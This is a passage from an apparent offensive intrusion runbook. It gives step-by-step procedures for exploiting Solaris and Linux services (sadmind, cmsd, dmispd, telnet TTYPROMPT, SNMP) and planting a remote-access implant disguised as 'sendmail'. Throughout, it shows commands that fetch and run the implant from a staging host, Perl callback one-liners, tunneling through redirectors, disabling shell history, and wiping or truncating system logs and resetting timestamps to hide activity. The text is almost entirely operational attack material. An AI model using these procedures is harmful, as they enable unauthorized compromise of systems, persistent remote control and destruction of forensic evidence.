1996/var/log/auth
1997
1998##################################################3
1999
2000
2001
2002############################################################
2003# SSH
2004############################################################
2005
2006
2007
2008### get nopen ready to paste with gedit:
2009cp noserver sendmail
2010compress sendmail
2011uuencode sendmail.Z sendmail.Z > sendmail.Z.uu
2012gedit sendmail.Z.uu
2013
2014
2015### redirector
2016-tunnel
2017l 22 TARGET_IP
2018
2019
2020# Multiple targets? If so, wipe your known_hosts file locally between each:
2021cat /dev/null > ~/.ssh/known_hosts
2022
2023ssh -x iga@127.0.0.1 "/bin/sh"
2024 # or
2025ssh -p RANDOM_PORT -x username@127.0.0.1 /bin/sh
2026 # or this eliminates the lack of tty problem
2027ssh -p RANDOM_PORT -x username@127.0.0.1
2028
2029
2030unset HISTFILE
2031unset HISTFILESIZE
2032unset HISTSIZE
2033w
2034id
2035uname -a
2036ls -la /boot
2037mkdir /tmp/.scsi;cd /tmp/.scsi;pwd
2038which uudecode uncompress
2039 # gedit sendmail
2040uudecode; ls -la
2041
2042
2043# LINUX:
2044# start nopen so you can upload forkpty to be able to su (ptrace didn't work)
2045-put forkpty f
2046./f
2047
2048# or:
2049su
2050
2051############## upload nopen:
2052
2053###
2054### using uudecode pastable
2055###
2056
2057# if no uuencode and no ftshell (if you used telnet) try:
2058# locally run:
2059uudecode.pastable /current/up/morerats/noserver-3.0.3.1-i586.pc.linux.gnu.redhat-5.0 sendmail
2060
2061# paste the perl code that it spits out (hitting return after the last character), then
2062# paste sendmail that is brought up in gedit
2063
2064# you may need to hit Ctl-C after you see the upload complete
2065# Note: the upload may not echo to the screen until after the Ctl-C
2066
2067
2068
2069
2070###
2071### using cat & /dev/tcp:
2072###
2073
2074# on redir:
2075-tunnel
2076r RANDOM
2077
2078# netcat
2079nc -l -v -p RANDOM < sendmail
2080
2081# on target:
2082cat /dev/tcp/PITCH_IP/RANDOM > sendmail
2083
2084
2085
2086
2087
2088###
2089### using wget:
2090###
2091
2092# If none of the above work:
2093# Locally:
2094echo -e 'HTTP/1.0 200\n' > new
2095cat new ../up/morerats/noserver-2.6.1-i586.pc.linux.gnu.redhat-5.0 > /current/up/sendmail
2096
2097nc -l -v -p RANDOM < sendmail
2098
2099# on redir:
2100-tunnel
2101r RANDOM
2102
2103# on target
2104wget http://210.56.8.10:RANDOM/sendmail
2105ls -la
2106chmod 700 sendmail
2107PATH=./sendmail
2108
2109-nstun TARGET_IP
2110
2111
2112
2113###
2114### using secure copy
2115###
2116
2117# if that doesn't work, try secure copy:
2118
2119# on redir:
2120-tunnel
2121l RANDOM TARGET_IP 22
2122
2123
2124# in a local scripted window:
2125cd /current/up
2126cp /current/up/noserver crond
2127scp -P RANDOM crond username@127.0.0.1:/tmp/.scsi/crond
2128# enter passwd at the prompt
2129
2130
2131
2132###
2133### Want netcat? netcat nc -- how abuot perl instead?
2134### using target's perl to open a socket, either
2135### callback or listen on target.
2136###
2137
2138my
2139:%s/PERLNAME/PERLNAME/g
2140:%s/PERLRANDOMPORT/PERLRANDOMPORT/g
2141:%s/PERLCALLBACKIP/PERLCALLBACKIP/g
2142:%s/PERLCALLFORWARDIP/PERLCALLFORWARDIP/g
2143:%s,PERLUPLOADFILE,PERLUPLOADFILE,g
2144`y
2145
2146#### CALLING out from target
2147# LOCALLY use netcat to upload file
2148nc -vv -l -p PERLRANDOMPORT < PERLUPLOADFILE
2149
2150# or if you want a loop to keep listening after each upload
2151while [ 1 ] ; do \
2152 echo starting listen on PERLRANDOMPORT ; \
2153 date ; \
2154 nc -vv -l -p PERLRANDOMPORT < PERLUPLOADFILE; \
2155 echo done ; \
2156 sleep 3 ; \
2157done
2158
2159# tunnel
2160-tunnel
2161r PERLRANDOMPORT
2162
2163
2164# ON TARGET
2165perl -MIO -e 'close(STDIN);$c=IO::Socket::INET->new("PERLCALLBACKIP:PERLRANDOMPORT")or exit1;binmode($c);open(O,">PERLNAME")or exit 1;binmode(O);select O;$|=1; print O while (<$c>);close(STDOUT);close($c);unlink("PERLNAME") unless (-s "PERLNAME");'
2166
2167
2168### LISTENING on target
2169
2170# ON TARGET
2171perl -MIO -e '$s=new IO::Socket::INET(LocalPort,PERLRANDOMPORT,Reuse,1,Listen,10) or exit 1; $c=$s->accept() or exit 1;open(O,">PERLNAME")or exit 1;select O;$|=1;print O while <$c>;close(O);close($c);unlink("PERLNAME") unless (-s "PERLNAME");'
2172
2173# tunnel
2174-tunnel
2175l PERLRANDOMPORT PERLCALLFORWARDIP
2176
2177# LOCALLY
2178nc -vv 127.0.0.1 PERLRANDOMPORT < PERLUPLOADFILE
2179
2180
2181
2182
2183
2184
2185
2186
2187###
2188### to elevate using EVENTSTART(?) use whatever name you want
2189###
2190-put /current/up/h h
2191
2192# in your ssh or telnet masquerade window:
2193./h
2194
2195unset HISTFILE
2196unset HISTFILESIZE
2197unset HISTSIZE
2198id
2199cd /tmp/.scsi;pwd
2200chmod 700 sendmail
2201chown root:root /tmp/.scsi
2202PATH=. sendmail
2203
2204### in another window
2205-nstun TARGET_IP 32755
2206
2207-rm sendmail
2208
2209##### Don't forget to burn the unprivileged nopen
2210
2211
2212
2213# Cleanup
2214/var/log/secure
2215/var/log/messages
2216/var/log/lastlog
2217/var/log/wtmp
2218/var/run/utmp
2219
2220
2221
2222
2223###########################################################
2224# BOSSLAD
2225###########################################################
2226### when nsrexec is there but NOT with nsrstatd???
2227### like a tcp version of BS
2228### always uses port 7937
2229
2230
2231### ./bll.tnc.gr
2232
2233# Before running this script, you first need to run the following:
2234# nc -l -p localPort < file2Xfer&Run.uu
2235# (nc must be in your path; it's also run w/in this script)
2236# where file2Xfer&Run.uu is a compressed, uuencoded file.
2237
2238
2239# Usage: bll.tnc.gr
2240# [options] -- [options to <file2Xfer&Run>]
2241# -i <target ip> (required)
2242# -l <callback ip> (required)
2243# -p <callback port> def = 32177
2244# -f <file2Xfer&Run> (required)
2245# -D <remoteDir> def= /tmp/.X11R6
2246#
2247
2248# ./bll.tnc.gr -i 66.128.32.67 -l 67.233.61.230 -p 24792 -f sendmail -D /tmp/.scsi
2249
2250packrat NETCAT_PORT
2251
2252### On redirector:
2253-tunnel
2254l 7937 TARGET_IP
2255r NETCAT_PORT
2256
2257### On local machine:
2258### Ex.: ./bll.tnc.gr -i 127.0.0.1 -l 150.27.1.11 -p 45226 -f sendmail -D /tmp/.scsi
2259
2260./bll.tnc.gr -i 127.0.0.1 -l PITCH_IP -p NETCAT_PORT -f RAT_NAME -D /tmp/WORK_DIR
2261
2262
2263### Once upload of RAT completes, connect to target from PI with nopen:
2264-nstun TARGET_IP
2265
2266
2267
2268
2269### Cleanup
2270-ls /nsr/cores
2271-ls /nsr/cores/sh
2272-cat /nsr/cores/sh/*
2273rm /nsr/cores/sh/*
2274-rm /nsr/cores/sh
2275-touch SOMEFILE /nsr/cores
2276
2277-ls /nsr/logs
2278-ls /nsr/logs/daemon.log
2279-get /nsr/logs/daemon.log
2280wc -l /nsr/logs/daemon.log
2281head -## /nsr/logs/daemon.log > n
2282-cat n
2283cat n > /nsr/logs/daemon.log
2284touch SOMEFILE /nsr/logs/daemon.log
2285
2286
2287
2288
2289#########################################################
2290# ELVISCICADA
2291#########################################################
2292### only up to ealry Sol2.9; Sol2.10 not vulnerable
2293
2294### snmpXdmid (/usr/lib/dmi/dmispd) daemon program (RPC program 300598 version 1)
2295# Req:
2296# 1. you must know the OS
2297# 2. you must ba able to connect with TCP (for when you get the root shell)
2298# 3. /usr/lib/dmi/dmispd must be running on the target system,
2299# and you must be able to successfully talk to its ___UDP___ port.
2300# This is usually evidenced by RPC program 300598 version 1
2301# during rpcinfo -p and UDP rpcinfo -n "touches" of the target, such as...
2302#
2303# $ rpcinfo -p target
2304# ...
2305# 300598 1 udp 32879
2306# 300598 1 tcp 32796
2307# ...
2308# $ rpcinfo -n 32879 -u target 300598
2309# program 300598 version 1 ready and waiting
2310# $
2311#
2312# if rpcinfo -n returns "ready and waiting", ELVISCICADA should be ready to sing.
2313
2314### -scan brpc TARGET_IP
2315### look for program 300598 version 1 of dmispd and make note of UDP port
2316
2317### test that TCP connects get thru to the default shellcode port (32387)
2318### (being refused is still good - means it went thru)
2319### If the port doesn't answer, pick another port that works, AND add the "-s" option
2320### using the new (random) port
2321
2322# ON PI:
2323-tunnel
2324l 32387 TARGET_IP
2325
2326# Locally
2327telnet 127.0.0.1 32387
2328
2329
2330
2331
2332### Usage:
2333./dw.linux
2334
2335### Use the lowest number for the target OS and increment by one for subsequent attempts:
2336
2337./dw.linux -t <VALUE> -i TARGET_IP -s RANDOMSHELLPORT -p UDPPROGRAMPORT
2338./dw.linux -t <VALUE> -i TARGET_IP -p UDPPROGRAMPORT
2339
2340### If redirected:
2341
2342# On PITCHIMPAIR
2343-tunnel
2344l RANDOMSHELLPORT TARGET_IP
2345u PROGRAMPORT TARGET_IP
2346r NETCATPORT
2347
2348
2349# Locally:
2350./dw.linux -t <VALUE> -i 127.0.0.1 -s RANDOMSHELLPORT -p UDPPROGRAMPORT -w 10 -b 1024
2351./dw.linux -t <VALUE> -i 127.0.0.1 -p UDPPROGRAMPORT
2352
2353
2354
2355### Once you have root, get nopen up there:
2356
2357### on PITCHIMPAIR
2358-tunnel
2359r NETCAT_PORT
2360
2361### On target:
2362unset HISTFILE
2363unset HISTSIZE
2364unset HISTFILESIZE
2365cd /tmp
2366mkdir WORK_DIR
2367cd /tmp/WORK_DIR
2368pwd
2369telnet PITCH_IP NETCAT_PORT < /dev/console | uudecode;ls -la
2370uncompress sendmail.Z
2371netstat -an | grep RAT_PORT
2372D="-l RAT_PORT" PATH=. sendmail
2373netstat -an | grep RAT_PORT
2374
2375### pitch window
2376-nstun TARGET_IP RAT_PORT
2377
2378
2379### Restart both dmispd daemons before leaving the target:
2380
2381ps -ef |grep dmi
2382exec 3<&- 4<&- 5<&- 6<&- 7<&- 8<&- 9<&-
2383rpcinfo -d 300598 1
2384/etc/rc3.d/S77dmi stop < /dev/console 2>&1 >/dev/null
2385/etc/rc3.d/S77dmi start < /dev/console 2>&1 >/dev/null
2386ps -ef |grep dmi
2387
2388### should see something like this:
2389# root 580 399 0 12:48:18 ? 0:00 grep dmi
2390# root 577 1 0 12:48:18 ? 0:00 /usr/lib/dmi/snmpXdmid -s target
2391# root 573 1 0 12:48:18 ? 0:00 /usr/lib/dmi/dmispd
2392
2393
2394### Cleanup:
2395# possible core file in /? or /usr/lib/dmi/dmispd?
2396-ls /core /usr/lib/dmi/dmispd
2397
2398#/var/adm/messages (for failures)
2399-tail /var/adm/messages
2400
2401
2402
2403#########################################################
2404# EMPTYCRISS
2405#########################################################
2406
2407
2408### No redirection:
2409
2410### This will create the output to paste into the telnet window:
2411### local unscripted window:
2412
2413./emptycriss TARGET_IP
2414 # or
2415perl ./emptycriss TARGET_IP
2416
2417
2418### op window
2419### paste instructions from 1st window into this one
2420### Ex.:
2421#ATTACKER# telnet
2422#
2423#ATTACKER# telnet> environ define TTYPROMPT abcdef
2424#
2425#ATTACKER# telnet> o victimip
2426#
2427#ATTACKER# telnet> root c c c c c c c c c c c c c c
2428#c c c c c c c c c c c c c c c c c c c c c c c c c c
2429#c c c c c c c c c c c c c c c c c c c c c c c c\n
2430##
2431##id
2432##uid=0(root) gid=1(other)
2433##uname -a
2434
2435### if it fails, try again as /bin
2436
2437ftshell telnet
2438
2439
2440
2441
2442### Redirected:
2443
2444-tunnel
2445l RANDOM TARGET_IP 23
2446
2447#
2448# In unscripted window
2449#
2450./emptycriss 127.0.0.1
2451
2452
2453# In scripted op window:
2454
2455ftshell telnet
2456
2457### NOTE: be sure to open 127.0.0.1 on the RANDOM redirected port
2458
2459#Ex:
2460#o 127.0.0.1 RANDOM
2461
2462unset HISTFILE
2463unset HISTSIZE
2464unset HISTFILESIZE
2465cd /tmp
2466mkdir WORK_DIR
2467cd /tmp/WORK_DIR
2468pwd
2469~~p
2470noserver sendmail
2471ls -la
2472chmod 700 sendmail
2473PATH=. D="-l RAT_PORT" sendmail
2474
2475##########################################
2476# EASYSTREET
2477##########################################
2478### cmsd 100068
2479### UDP is best since it's a single packet to exploit
2480
2481-scan rpc TARGET_IP # look for 100068 and make note of port
2482
2483### UDP is best since it's a single packet to exploit
2484### with -sploit:
2485
2486#-sploit will ask you which exploit to try.
2487# Select 'CM' (calendar manager)
2488# Another window will pop up to run the exploit
2489# This window will pause to allow you to verify the command it will run.
2490# The command should look something like this (the ports will vary):
2491# -u 32778 -i 127.0.0.1 -l 192.168.250.3 -r sendmail -D /tmp/.scsi -n 26120 -c
2492# Append '-T 2' to the front of the line so that it looks like this:
2493# -T 2 -u 32778 -i 127.0.0.1 -l 192.168.250.3 -r sendmail -D /tmp/.scsi -n 26120 -c
2494# Then press return.
2495
2496# The exploit window will prompt you to set up a listener like this:
2497# You must establish a NOPEN listener on 192.168.250.3:SOME_RANDOM_PORT
2498
2499-nrtun RANDOM (as indicated in the -sploit exploit prompt)
2500
2501#Press enter
2502
2503#Now the exploit will occur and, after a couple of minutes, it will call back
2504#to your listener.
2505#Once the callback occurs, take the following steps:
2506
2507#In a local window
2508LOCAL>closetunnel
2509
2510#Press 'A' to abort the autodone commands
2511#Delete the files created by your exploit
2512#There should be one lock file and one callog file
2513-lt /var/spool/calendar
2514-rm /var/spool/calendar/THE_TWO_MOST_RECENT_FILES
2515
2516#Use touch to set the directory timestamp back
2517-lt /var/spool
2518-touch /var/spool/SOME_OLDER_DIRECTORY /var/spool/calendar
2519
2520
2521### Usage:
2522./cmsex
2523./cmsex.auto
2524
2525
2526### get nopen ready
2527packrat noserver
2528
2529
2530### no redirection
2531./cmsex -i TARGET_IP -c 'mkdir /tmp/.scsi; cd /tmp/.scsi && telnet LOCAL_IP NETCAT_PORT | uudecode && uncompress sendmail.Z && PATH=. sendmail' -T <target_type> (-u RANDOM | -t RANDOM)
2532
2533
2534### Redirected:
2535-tunnel
2536u RANDOM TARGET_IP CMSD_PORT
2537r NETCAT_PORT
2538
2539
2540
2541./cmsex -i 127.0.0.1 -c 'mkdir /tmp/.scsi; cd /tmp/.scsi && telnet PITCH_IP NETCAT_PORT | uudecode && uncompress sendmail.Z && PATH=. s
2542endmail' -T 3 -u RANDOM
2543
2544
2545
2546### when the upload is done, kill the netcat, then try connecting in
2547-nstun TARGET_IP
2548
2549-rm sendmail
2550
2551
2552### Logging:
2553-lt /var/adm
2554-lt /var/spool/calendar
2555
2556
2557
2558
2559#########################################################
2560# EBB
2561#########################################################
2562
2563### Sol2.10 vulnerable for only program 100230 metamhd using ebbshave.v4
2564
2565### ./ebbshave.v5 is a wrapper program for ebbnew_linux exploit for Sparc Solaris RPC services
2566### Important: ebbnew_linux must be in your PATH
2567
2568command that is useful:
2569 rpcinfo -n <PORT NUM> -u|-t <TARGET_IP> <PROGRAM NUM>
2570
2571usage: ./ebbshave.v5 -o -v -t -p
2572-o : one of the following options [1-19]:
2573 1, "5.9 metamhd", program # = 100230,
2574 2, "5.8 ruserd", program # = 100002, NOTE = version 1
2575 3, "5.8 ruserd", program # = 100002, NOTE = version 2 - must start service first by using rpcinfo -n before using this option
2576 4, "5.8 ttdbserverd", program # = 100083,
2577 5, "5.8 cachefsd", program # = 100235, NOTE = version 1 - Start with option #6 first, if it fails then try this option
2578 6, "5.8 cachefsd", program # = 100235, NOTE = version 2 - must start service first by using rpcinfo -n before using this option
2579 7, "5.8 metad", program # = 100229, NOTE = version 1
2580 8, "5.8 metad", program # = 100229, NOTE = version 2 - must start service first by using rpcinfo -n before using this option
2581 9, "5.8 metamhd", program # = 100230,
2582 10, "5.7 ruserd", program # = 100002, NOTE = must start service first by using rpcinfo -n before using this option
2583 11, "5.7 kcms_server", program # = 100221,
2584 12, "5.7 cachefsd", program # = 100235,
2585 13, "5.7 ttdbserverd", program # = 100083,
2586 14, "5,7 dr_daemon", program # = 300326,
2587 15, "5.6 ruserd", program # = 100002,
2588 16, "5.6 kcms_server", program # = 100221,
2589 17, "5.6 cachefsd", program # = 100235, NOTE = version 1 - Start with option #18 first, if it fails then try this option
2590 18, "5.6 cachefsd", program # = 100235, NOTE = version 2 - must start service first by using rpcinfo -n before using this option
2591 19, "5.6 ttdbserverd", program # = 100083,
2592-v : the program version number you are exploiting which is obtained from rpcinfo output
2593-t : targets ip address
2594-p : port number rpc program is listening on
2595example:
2596 ./ebbnew_linux.wrapper -o 2 -v 2 -t 192.168.10.4 -p 32772
2597
2598If you fail to exploit using ./ebbshave.v5, try bruteforcing using ebbshave.v4
2599
2600
2601### 1. Use the following command to look for a suitable program to hit
2602
2603### Redirection:
2604-tunnel
2605l 111 TARGET_IP
2606
2607### Local box:
2608./ebbshave.v5
2609ebbshave -p 127.0.0.1
2610
2611### 2. Verify the portnum will work (should respond "ready and waiting)
2612### Use either:
2613# rpcinfo -n <PORT NUM> -u|-t <TARGET_IP> <PROGRAM NUM>
2614# Ex.: ebbshave -n 32776 -t targetip 100229
2615
2616### Redirector:
2617-tunnel
2618l PORTNUM TARGET_IP
2619
2620### Locally, see if the program you want is a viable option:
2621./ebbshave -n portnum -t host prognum
2622./ebbshave -n PORTNUM -t 127.0.0.1 PROGNUM
2623
2624### Use this for usage statement
2625./ebbshave
2626
2627
2628###### 3. Plug in your choices and go:
2629
2630### Netcat window:
2631packrat NETCAT_PORT
2632
2633### Redirector:
2634-tunnel
2635l 111
2636l PORTNUM TARGET_IP
2637r NETCAT_PORT
2638
2639### Locally:
2640#ebbshave -B -T OPTION -n PORTNUM -t 127.0.0.1 PROGNUM
2641ebbshave -n <PORT> -t 127.0.0.1 <PROGRAM> <VERSION>
2642
2643# To throw it:
2644ebbshave -T <TARG_NUM> -n <PORT> -t 127.0.0.1 <PROGRAM> <VERSION>
2645
2646
2647
2648### If that doesn't work, try without the best guess (B) option, or maybe increase th
2649### timeout period (W)
2650ebbshave -T OPTION -n PORTNUM -t 127.0.0.1 PROGNUM
2651
2652
2653### If successful, you should get a root shell
2654
2655### Get the following ready for pasting: (paste one line at a time)
2656
2657unset HISTFILE
2658unset HISTSIZE
2659unset HISTFILESIZE
2660cd /tmp
2661mkdir WORK_DIR
2662cd /tmp/WORK_DIR
2663pwd
2664telnet PITCH_IP NETCAT_PORT < /dev/console | uudecode;ls -la
2665uncompress sendmail.Z
2666netstat -an | grep RAT_PORT
2667D="-l RAT_PORT" PATH=. sendmail
2668
2669### pitch window
2670-nstun TARGET_IP RAT_PORT
2671
2672
2673
2674###### Cleanup:
2675/usr/openwin/bin/core
2676/var/adm/messages
2677
2678Other cores locations?
2679Always look at utmp, wtmp,etc
2680
2681
2682
2683####### If you've hit this before and know the addresses:
2684
2685# Ex.: ./ebbshave -T 1 -S 0xffbefa20 -E 0xffbefa20 -n 32775 -t target 300326
2686
2687
2688#########################################################
2689# BS - BLUE
2690#########################################################
2691# ../bin/bs.tr -h
2692#
2693# Usage:
2694# [E=ratpreargs] [A=ratpostargs] bs.tr remoteIP remoteHost \
2695# [remoteDomain] \
2696# sadmindPort remoteDir remoteName localIP localPort
2697#
2698# ratpreargs : the string put on remote command line right after PATH=. and
2699# before remoteName (e.g. E='C="-c LOCALIP port"' or
2700# E='C="-l listenport"')
2701#
2702# ratpostargs : the string put on remote command line after running remoteName
2703#
2704#
2705# Command sent to bs will be munged from:
2706#
2707#CMD="mkdir -p ${REMOTE_DIR} && cd ${REMOTE_DIR} && telnet ${LOCAL_IP} ${LOCAL_PORT} < /
2708#dev/console | uudecode > /dev/null 2>&1 && uncompress -f ${REMOTE_FNAME}.Z && chmod 755
2709# ${REMOTE_FNAME} && PATH=.${RAT_PREARGS} ${REMOTE_FNAME}${RAT_POSTARGS}"
2710
2711### TRICK - use -A option to get its archtype back
2712### TRICK - give a bad hostname to see if it's running in secure mode; if it complains, then
2713### it's still vulnerable, and work out the other options; if there's not response
2714### try another bad name; if still no response, then it's running in secure mode and
2715### not vulnerable
2716
2717### Scan target
2718
2719#rpcinfo -p TARGET_IP
2720#
2721#rpcinfo -n BSPORT -u TARGET_IP 100232
2722#rpcinfo -n BSPORT -t TARGET_IP 100232
2723
2724-scan rpc TARGET_IP
2725
2726
2727mx
2728:%s/SADMIND_PORT/SADMIND_PORT/g
2729:%s/REMOTE_DIR/\/tmp\/WORK_DIR/g
2730`x
2731
2732###### Start netcat
2733packrat NETCAT_PORT
2734
2735
2736############# BS w/ NO REDIRECTION ###########
2737###### 1. No redirection:
2738### To use default port
2739# ./bs.tr TARGET-IP TARGET-NAME SADMIN-PORT REMOTE-DIR RAT-NAME LOCAL-IP NETCAT-PORT
2740# ./bs.tr TARGET_IP TARGET_NAME SADMIN_PORT REMOTE_DIR RAT_NAME LOCAL_IP NETCAT_PORT
2741
2742### Try in this order:
2743bs.auto -i IP -u SADMIND_PORT TARGET_IP
2744bs.tr_TRY_SECOND remoteIP remoteHost [remoteDomain] sadmindPort remoteDir remoteName localIP localPort
2745bs.tn.gr_USE_WHEN_bs.auto_AND_bs.tr_FAIL
2746
2747
2748### To give a port:
2749#E='D="-l RAT-PORT"' ./bs.tr TARGET-IP TARGET-NAME TARGET-DOMAIN SADMIND-PORT REMOTE-DIR RAT-NAME LOCAL-IP NETCAT-PORT
2750#E='D="-l RAT_PORT"' ./bs.tr TARGET_IP TARGET_NAME TARGET_DOMAIN SADMIND_PORT REMOTE_DIR RAT_NAME LOCAL_IP NETCAT_PORT
2751
2752###### 3. Waiting:
2753# you will see bursty traffic on your tcpdump, first the trigger, then the connection to upload nopen.
2754# Hit Ctrl-C on your nc
2755
2756
2757###### 4. COnnect to target:
2758### Direct connect:
2759cd ../down
2760noclient TARGET_IP:RAT_PORT
2761
2762 # or
2763
2764### Callback - have this ready and waiting when running attack:
2765cd ../down
2766noclient -l RAT_PORT
2767
2768
2769
2770
2771
2772
2773############# BS w/ REDIRECTION ###########
2774###### 1. on redirector
2775
2776-tunnel
2777u SADMIND_PORT TARGET_IP
2778r NETCAT_PORT
2779s
2780
2781
2782# and this if nopen needs to run in callback mode:
2783r RAT_PORT
2784
2785###### 2. Local window
2786
2787
2788### Syntax (domainname is not always necessary):
2789CommandLine: ../bin/bs.tn.gr -h
2790
2791New usage: ./bs.tn.gr [options] -- [options to <file2Xfer&Run>]
2792 -i <remoteIP> (required)
2793 -h <remoteHost> (required)
2794 -a (does not work) Use alt rpcbind port
2795 -s <sndPort> hardwired 111
2796 -r <rcvPort> hardwired 111
2797 -d <remoteDomain>
2798 -p <sadmindPort> def= query rpcbind
2799 -l <localIP> (required)
2800 -n <localPort> (no default)
2801 -f <file2Xfer&Run> (required)
2802 -D <remoteDir> def= /tmp/...
2803 -S <remoteScript> def= /tmp/....
2804 -G grinch args deprecated
2805
2806
2807
2808### Redirection:
2809### E='D="-l RAT-PORT"' ./bs.tr 127.0.0.1 TARGET-NAME TARGET-DOMAIN SADMIND-PORT REMOTE-DIR RAT-NAME PITCH-IP NETCAT-PORT
2810
2811
2812### No domainname:
2813E='D="-l RAT-PORT"' ./bs.tr 127.0.0.1 TARGET_NAME SADMIND_PORT REMOTE_DIR RAT_NAME PITCH_IP NETCAT_PORT
2814
2815### With domainname:
2816E='D="-l RAT_PORT"' ./bs.tr 127.0.0.1 TARGET_NAME TARGET_DOMAIN SADMIND_PORT REMOTE_DIR RAT_NAME PITCH_IP NETCAT_PORT
2817
2818### Callback:
2819E='D="-c PITCH_IP RAT_PORT"' ./bs.tr 127.0.0.1 TARGET_NAME SADMIND_PORT REMOTE_DIR RAT_NAME PITCH_IP NETCAT_PORT
2820
2821
2822
2823###### 3. Waiting:
2824# you will see bursty traffic on your tcpdump, first the trigger, then the connection to upload nopen.
2825# Hit Ctrl-C on your nc
2826
2827
2828###### 4. From redirector:
2829-nstun TARGET_IP RAT_PORT
2830
2831 # or
2832
2833-nrtun RAT_PORT
2834
2835-call PITCH_IP RAT_PORT
2836
2837
2838
2839
2840
2841###### Cleanup:
2842
2843# usually nothing
2844
2845
2846###########################################################
2847# GS - GREEN
2848###########################################################
2849
2850gs.auto
2851Usage: $PROG -i <rem_ip> [ options ]
2852
2853-i IP IP of target machine (NO DEFAULT)
2854-g opt Change default GS option from ./$GS_OPTION to \"./opt\"
2855 (can be grins, frowns or sneer).
2856-C str Change default community string from public to \"str\".
2857-l IP IP of attack machine (Default: the first active IP found in
2858 this order: ppp0, ppp1, eth0 or eth1)
2859-n # rat upload port (Default: a random port)
2860-p # Use port # for RAT listen/callback. (Default: random)
2861-s # Change delay used for -c to # seconds (must appear before -c).
2862-c Use NOPEN syntax to have RAT callback after a delay (Default
2863 delay: $CALLBACKDELAY seconds). Callback is to -l IP.
2864-k Use ksh method instead of telnet/uu*code.
2865-z Do NOT use uncomrpess at the either end
2866-r rat name of rat on target (Default: sendmail)
2867-D dir directory to work from/create on target (Default = /tmp/.scsi)
2868-P Assume PATH=. will fail so use ./ratname
2869 target, and MUST NOT use uuencode on upload.
2870-a ARCH String used to determine which architecture NOPEN server to
2871 upload from /current/up/morerats/ using this (note tail -1):
2872 \"ls -1 ./noserver* 2>/dev/null | grep -i ${ARCH} | tail -1\".
2873 If not provided or no match, /current/up/noserver is assumed.
2874-G Retry exploit--using already uploaded RAT (useful when you need
2875 to try adding -P option or try another RAT callback port).
2876
2877
2878### Or the old way:
2879
2880# sneer(2.6) or frowns(2.7+)
2881gs.os.gr
2882Usage: /home/black/tmp/20030124-0318/./bin/gs.os.gr [options]
2883 -i <remoteIP> (required)
2884 -g <grins|frowns|sneer> def= frowns
2885 -l <localIP> (required)
2886 -n <localPort> (required)
2887 -c <callbackPort> (no default)
2888 -D <remoteDir> def= /tmp/.X11R6
2889 -f <remoteRATName> def= nscd
2890 -E <RATenvironment vars> (no default)
2891 -A <RATarguments> (no default)
2892 -S <remoteScript> DEPRECATED (and ignored)
2893 -s <remoteScript> DEPRECATED (and ignored)
2894
2895rpcinfo -p TARGET_IP
2896
2897rpcinfo -n GSPORT -u TARGET_IP 100249
2898rpcinfo -n GSPORT -t TARGET_IP 100249
2899
2900# From PI
2901-scan rpc TARGET_IP
2902-scan mibiisa TARGET_IP
2903 # should respond w/ snmp version or h/w type if mibiisa is running:
2904-scan snmp1 TARGET_IP
2905 # should give motd banner to tell you the OS
2906-scan snmp2 TARGET_IP
2907
2908# If the above don't answer, GS won't work
2909#if the scans answer with "No such name" then they are probably not vulnerable
2910# anything else might be worth a shot as long as you're getting udp 161 to target
2911
2912### In netcat window:
2913packrat NETCAT_PORT
2914
2915
2916# Tunneling
2917# on redirector
2918
2919-tunnel
2920u 161 TARGET_IP
2921r NETCAT_PORT
2922s
2923
2924# logging depends on sneer(2.6) or frowns(2.7+)
2925
2926
2927
2928# With redirector:
2929#./gs.os.gr -i 127.0.0.1 -g <frowns/sneer> -l PITCH-IP -n NETCAT-PORT -D /tmp/WORK-DIR -f RAT-NAME
2930./gs.os.gr -i 127.0.0.1 -g <frowns/sneer> -l PITCH_IP -n NETCAT_PORT -D /tmp/WORK_DIR -f RAT_NAME
2931
2932# NO tunneling
2933
2934# Local window
2935#./gs.os.gr -i TARGET-IP -g <frowns/sneer> -l LOCAL-IP -n NETCAT-PORT -D /tmp/WORK-DIR -f RAT-NAME
2936./gs.os.gr -i TARGET_IP -g <frowns/sneer> -l LOCAL_IP -n NETCAT_PORT -D /tmp/WORK_DIR -f RAT_NAME
2937
2938
2939# Both cases:
2940#you wait 4 minutes, and you should see the upload of nopen
2941# Ctrl-C your nc
2942
2943### Connect to target:
2944### Straight connect (no redirection)
2945cd ../down
2946../bin/noclient TARGET_IP
2947
2948### Connect using redirector:
2949-nstun TARGET_IP
2950
2951### Cleanup:
2952### run cleaner after frowns (or else another callback in 4 minutes) (might be automatic now)
2953### rm /tmp/mibiisa_ps_data
2954### toast utmp, wtmp, utmpx, wtmpx
2955
2956
2957###############################################
2958# YS - YELLOW
2959##############################################
2960
2961### New way:
2962
2963Usage: ys.auto -i TARGETIP [options]
2964
2965-i IP IP of target machine (NO DEFAULT)
2966-l IP IP of attack machine (Default: the first active IP found in
2967 this order: ppp0, ppp1, eth0 or eth1)
2968-n # rat upload port (Default: a random port)
2969-p # Use port # for RAT listen/callback. (Default: random)
2970-s # Change delay used for -c to # seconds (must appear before -c).
2971-c Use NOPEN syntax to have RAT callback after a delay (Default
2972 delay: 3 seconds)
2973-z Do NOT use uncomrpess at the either end
2974-e Do NOT use "2>&1" on target. Fouls up in some shells.
2975-r rat name of rat on target (Default: sendmail)
2976-x # port to start mini X server on (Default: random port)
2977-D dir directory to work from/create on target (Default = /tmp/.scsi)
2978-P Assume PATH=. will fail so use ./ratname
2979 target, and MUST NOT use uuencode on upload.
2980-a ARCH String used to determine which architecture NOPEN server to
2981 upload from /current/up/morerats/ using this (note tail -1):
2982 "ls -1 ./noserver* 2>/dev/null | grep -i ${ARCH} | tail -1".
2983 If not provided or no match, /current/up/noserver is assumed.
2984
2985NOTE: -x # and -p# can be the same, even in callback mode. ys.auto
2986provides
2987 a mechanism to allow netcat callback to finish, and its -tunnel to
2988 close before the NOPEN server calls back on the same port.
2989
2990examples:
2991 ys.auto -l 19.16.1.1 -i 10.0.3.1 -n 2222 -r nscd -x 9999 -D /tmp/.dir
2992 ys.auto -i 10.0.3.1
2993 ys.auto -i TARGET_IP -l REDIRECTOR_IP
2994
2995NOTE: The only REQUIRED ARGUMENT is now -i
2996
2997The best way to back out of ys.auto once done (whether or not you get on
2998target) is to kill off the packrat window first with ^C then ^D. Then
2999kill of the xc window the same way, finally kill the ys.auto.
3000
3001ys.auto Version 1.4.1.1
3002
3003### Old Way:
3004mx
3005:%s/XSERVER_PORT/x/g
3006x
3007
3008-scan xwin TARGET_IP
3009
3010### Locally:
3011packrat NETCAT_PORT
3012 #or
3013packrat -n /current/bin/nc.YS NETCAT_PORT
3014
3015######### YS With no redirection:
3016
